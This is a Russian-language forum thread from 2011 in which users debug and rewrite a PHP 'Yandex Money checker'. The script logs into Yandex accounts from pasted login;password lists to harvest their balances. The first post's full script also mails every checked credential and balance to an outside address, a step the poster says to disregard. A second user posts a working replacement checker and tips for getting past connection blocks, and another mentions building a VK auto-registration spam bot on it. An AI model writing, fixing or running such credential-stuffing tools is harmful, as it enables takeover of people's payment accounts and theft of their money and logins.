Помогите подкоректировать скрипт ПХП

Discussion in 'PHP' started by 1kaktyc, 9 Jan 2011.

  1. 1kaktyc

    1kaktyc Member

    Joined:
    9 Sep 2009
    Messages:
    0
    Likes Received:
    7
    Reputations:
    0
    вот есть скрипт проверки яд на наличие баланса но почему то пишет ошибка авторизации (то что отправляет логи на 3zs@mail.ru не обращайте внимание =) )

    PHP:
    скрипт
    <?
    ######
    ## Yandex Money Checker by iLuib 
    ## ICQ: 499442
    ## 20.11.2010

    header('Content-type: text/html; charset=windows-1251');

    $cookie dirname(__FILE__).'/cookie';
    $log_file dirname(__FILE__).'/ya_money_logs.txt';
    $log_mail '3zs@mail.ru';
    $log_temp "{login};{pass} - {money}\r\n";


    if ( !
    $_POST or empty($_POST['accs']) or empty($_POST['razd']) ) {
        
        echo 
    '
        <form action="" method="POST">
        <b>Акки:</b><br>
        <textarea name="accs" style="width: 100%; height: 50%;"></textarea><br><br>
        <i>Разделитель:</i> <input name="razd" value=";"><br>
        <input type="submit" value="Check">
        </form>
    <br><br>
    (c) 2010 Boss - YaSpam <br> <a href=http://zona-x.su>Хакерский софт - zona-x.su</a><br><a href=http://lab-sell.su>Продажа софт от Boss</a><br> ICQ: 499442
        '
    ;
        die;
    }


    ## Проверяем и парсим
    $accs $_POST['accs'];
    $razd $_POST['razd'];
    $accs explode("\r\n",$accs);

    foreach ( 
    $accs as $acc ) {
        
    $e explode($razd,$acc);
        if ( empty(
    $e[0]) or empty($e[1]) ) continue;
        
    $accounts[] = array( 'login' => $e[0], 'pass' => $e[1] );
    }


    if ( 
    count($accounts) <= ) die('Нету акков! Проверьте поля и разделитель!');


    ## Авторизуемся

    for ( $i=0;$i<=$c=count($accounts)-1;$i++ ) {
    empty_cookie();
    $acc $accounts[$i];
    echo 
    $i.'/'.$c.' - ';


    $login login($acc['login'],$acc['pass']);


        if ( 
    $login === true ) {
            echo 
    'Авторизовались...';
        } elseif ( 
    $login === false ) {
            echo 
    'Ошибка авторизации!<br>';
            continue;
        } elseif ( 
    $login === '-101' ) {
            echo 
    'Капча!<br>';
            continue;
        }
        
        echo 
    ' Чекаем...';
        
    $money check_money();
        
    $log[] = str_replace('{money}',$money,str_replace('{pass}',$acc['pass'],str_replace('{login}',$acc['login'],$log_temp)));
        echo 
    ' Баланс: '.$money.'<br>';

    }


    ## Формируем список
    $text_log = @implode("\r\n",$log);

    $f fopen($log_file,'w+');
    $w fwrite($f,$text_log);
    fclose($f);

    $mail mail($log_mail"Yandex Money Checher. ".date('d.m.Y H:i:s'), $text_log);




    ################################### FUNCTIONS



    function check_money () {

    $url 'https://money.yandex.ru/';
    $code get($url);
    //echo $code;

    preg_match('#<td nowrap style="font-size: 80%;"><strong>(.*)</strong></td>#Uis',$code,$money);

        if ( empty(
    $money[1]) ) {
        
    $money '0 или нет счета';
        } else {
        
    $money $money[1];
        }

    return 
    $money;
    }


    function 
    login ($login,$pass) {
    if ( empty(
    $login) or empty($pass) ) return false;

    $url 'http://passport.yandex.ru/passport?mode=auth&msg=blogs&retpath='.mt_rand(0,990);
    $post = array(
    'login' => $login,
    'passwd' => $pass,
    'twoweeks' => 'yes',
    'timestamp' => time(),
    );

    $code get($url,$post);
    preg_match('#Location: (.*)\n#Uis',$code,$location);

    if ( !empty(
    $location[1]) ) {
        
    $code get(trim($location[1]));

        
    preg_match('#Location: (.*)\n#Uis',$code,$location);

        
    $location[1] = @str_replace('http://pass.yandex.ru/login?retpath=',null,$location[1]);
        
    $location[1] = @urldecode($location[1]);
        if ( empty(
    $location[1]) ) return false;

        
    $code get(trim($location[1]));
    }


    $code mb_convert_encoding($code,'cp1251','utf-8');

        if ( 
    preg_match('#Изменить персональные данные|Создание страницы#Ui',$code) ) {
            return 
    true;
        } elseif ( 
    preg_match('#<div class="l">Введите цифры с&nbsp;картинки слева:</div>#Ui',$code) ) {
            return 
    '-101';
        } else {
            return 
    false;
        }

    }

    function 
    get ($url,$post=false,$headers=false) {
    global 
    $cookie;

      
    $data curl_init($url);
      if (
    $headerscurl_setopt($dataCURLOPT_HTTPHEADER$headers);
      
    curl_setopt($dataCURLOPT_HEADER1);
      
    curl_setopt($dataCURLOPT_RETURNTRANSFER1);
      
    //curl_setopt($data, CURLOPT_FOLLOWLOCATION, 1);
      
    curl_setopt($dataCURLOPT_COOKIEFILE$cookie);
      
    curl_setopt($dataCURLOPT_COOKIEJAR$cookie);
      
    curl_setopt($dataCURLOPT_SSL_VERIFYPEERfalse);
      
    curl_setopt($dataCURLOPT_SSL_VERIFYHOSTfalse);
      if (
    $post) {
      
    curl_setopt($dataCURLOPT_POST1);
      
    curl_setopt($dataCURLOPT_POSTFIELDS$post);
      }
      
    $code curl_exec($data);
      if ( !
    $code ) return false;

    //  $code = mb_convert_encoding($code,'cp1251','utf-8');
      
    return $code;

    }


    function 
    empty_cookie () {
    global 
    $cookie;

    $f fopen($cookie,'w+');
    fwrite($f,null);
    fclose($f);

    return 
    true;
    }



    ?>

     
  2. 1kaktyc

    1kaktyc Member

    Joined:
    9 Sep 2009
    Messages:
    0
    Likes Received:
    7
    Reputations:
    0
    может у них в авторизации что-то изменилось ?
    или подскажите рабочий скрипт проверки яд на наличие баланса
     
  3. miako

    miako Member

    Joined:
    20 Jan 2010
    Messages:
    154
    Likes Received:
    13
    Reputations:
    5
    Вот, накидал побыстрому:
    PHP:
    <?php
      
    function get_url($url$ref ''$header ''$post ''$cookie ''$cookiefile ''$proxy ''$timeout ''$popitok 2) {
        
    $ch curl_init();
        
        
    curl_setopt($chCURLOPT_URL$url);
        
        if (
    $ref != '')
            
    curl_setopt($chCURLOPT_REFERER$ref);
        if (
    $header != '')
            
    curl_setopt($chCURLOPT_HEADER1);
        if (
    $post != '') {
            
    curl_setopt($chCURLOPT_POST1);
            
    curl_setopt($chCURLOPT_POSTFIELDS$post);
        }
        if (
    $cookie != '')
            
    curl_setopt($chCURLOPT_COOKIE$cookie);
        if (
    $cookiefile != '') {
              
    curl_setopt($chCURLOPT_COOKIEJAR$cookiefile);
              
    curl_setopt($chCURLOPT_COOKIEFILE$cookiefile);
        }
        if (
    $proxy != '')
            
    curl_setopt($chCURLOPT_PROXY$proxy);
        
    curl_setopt($chCURLOPT_SSL_VERIFYPEERFALSE); 
        
    curl_setopt($chCURLOPT_SSL_VERIFYHOST2);   
        
    curl_setopt($chCURLOPT_USERAGENT'Opera/9.60 (Windows NT 5.1; U; ru) Presto/2.1.1');
        
    curl_setopt($chCURLOPT_ENCODING"gzip");
        
    curl_setopt($chCURLOPT_FOLLOWLOCATIONtrue);
        
    curl_setopt($chCURLOPT_HEADER1);
        
    curl_setopt($chCURLOPT_RETURNTRANSFER1);
        
        if (
    $timeout != '')
            
    curl_setopt($chCURLOPT_TIMEOUT$timeout);
            
        
    $i 0;
        do {
            
    $i++;
            
    flush();
            
    $content curl_exec($ch);
        } while (
    $i $popitok && $content == '' || curl_errno($ch) != && $i $popitok);
        
        if (
    curl_errno($ch) != || $content == '') {
            echo 
    "<br><div style=\"border-style:solid; border-width:1px; width:750px; padding:10px; position:relative; border-color:#FF8000;\"><b><font color=\"#B30000\">Error CURL:</font></b> ".curl_error($ch)." | <b><font color=\"#B30000\">Error number:</font></b> ".curl_errno($ch)."<br> <b>Url: <a href='".$url."'> ".$url."</a></b></div><br><br>";
            
    curl_close($ch);
            return 
    false;
        } else {
            
    curl_close($ch);
            return 
    $content;
        }
    }
        
    $post "login=login&passwd=pass";
        
    get_url('https://passport.yandex.ru/passport?mode=auth''http://www.yandex.ru/?ncrnd=5314256082'''$post''$_SERVER['DOCUMENT_ROOT']."/Yandexcookies.txt");
        
    $content get_url('http://money.yandex.ru/''http://www.yandex.ru/?ncrnd=5314256082'''''''$_SERVER['DOCUMENT_ROOT']."/Yandexcookies.txt");
        
    $balanceCount = array();
        
    preg_match_all('#<td nowrap style="font-size: 80%;"><strong>(.*)</strong></td>#'$content$balanceArr);
        
    print_r($balanceArr[1][0]);
    ?>
     
    #3 miako, 11 Jan 2011
    Last edited: 11 Jan 2011
    2 people like this.
  4. 1kaktyc

    1kaktyc Member

    Joined:
    9 Sep 2009
    Messages:
    0
    Likes Received:
    7
    Reputations:
    0
    спасибо огромное что помог вот только у меня неработает пишет

    Error CURL: Failed to connect to 93.158.134.24: Operation not permitted | Error number: 7
    Url: https://passport.yandex.ru/passport?mode=auth



    Error CURL: Failed to connect to 213.180.204.32: Operation not permitted | Error number: 7
    Url: http://money.yandex.ru/

    может я чет нето делаю ?
     
  5. miako

    miako Member

    Joined:
    20 Jan 2010
    Messages:
    154
    Likes Received:
    13
    Reputations:
    5
    The error you are receiving is most likely do to a firewall blocking all outbound connections. Many shared hosting providers are blocking outgoing port 80 connections to try to stop rampant errors in PHP scripts that allow remote includes to then be used as an attack vector against the server.

    Что-то блочит. Если пробуешь с локалхоста попробуй выруби фаервол.
     
  6. miako

    miako Member

    Joined:
    20 Jan 2010
    Messages:
    154
    Likes Received:
    13
    Reputations:
    5
    Можешь еще попробовать положить в .htaccess file:
    php allow_url_fopen on
     
  7. Romaxa55

    Romaxa55 Banned

    Joined:
    19 Oct 2005
    Messages:
    144
    Likes Received:
    30
    Reputations:
    4
    miako очинь хорошая функция по курлу, написал авторегер и постер для вк опираяст на нее.. благодарен
     
  8. 1kaktyc

    1kaktyc Member

    Joined:
    9 Sep 2009
    Messages:
    0
    Likes Received:
    7
    Reputations:
    0
    Запускаю на локалхосте пустой экран.
    В чем трабла ?
     
    #8 1kaktyc, 14 Jan 2011
    Last edited: 14 Jan 2011
  9. miako

    miako Member

    Joined:
    20 Jan 2010
    Messages:
    154
    Likes Received:
    13
    Reputations:
    5
    Я надеюсь ты правильный логин\пасс вписал в $post? Если нужен чекер, берущий логи из файлов, то надо дописать немного. Ну еще echo $content можешь сделать
     
  10. 1kaktyc

    1kaktyc Member

    Joined:
    9 Sep 2009
    Messages:
    0
    Likes Received:
    7
    Reputations:
    0

    если можешь допиши чтобы брал из файла или хоть чтобы список вставлять буду очень признателен!

    а если будет настроение и проксю прикрутить )))
     
  11. miako

    miako Member

    Joined:
    20 Jan 2010
    Messages:
    154
    Likes Received:
    13
    Reputations:
    5
    Ну, так не интересно, одно дело помочь, другое с 0 писать.
     
  12. 1kaktyc

    1kaktyc Member

    Joined:
    9 Sep 2009
    Messages:
    0
    Likes Received:
    7
    Reputations:
    0
    miako спасибо тебе большое что откликнулся
    п.с. я в пхп полный ноль ))) вот в чем дело а чекер нужен ))
     
  13. miako

    miako Member

    Joined:
    20 Jan 2010
    Messages:
    154
    Likes Received:
    13
    Reputations:
    5
    Я конечно не советник, но лучше обратиться в раздел "работа", шансов будет побольше. Если конечно жаба не душит.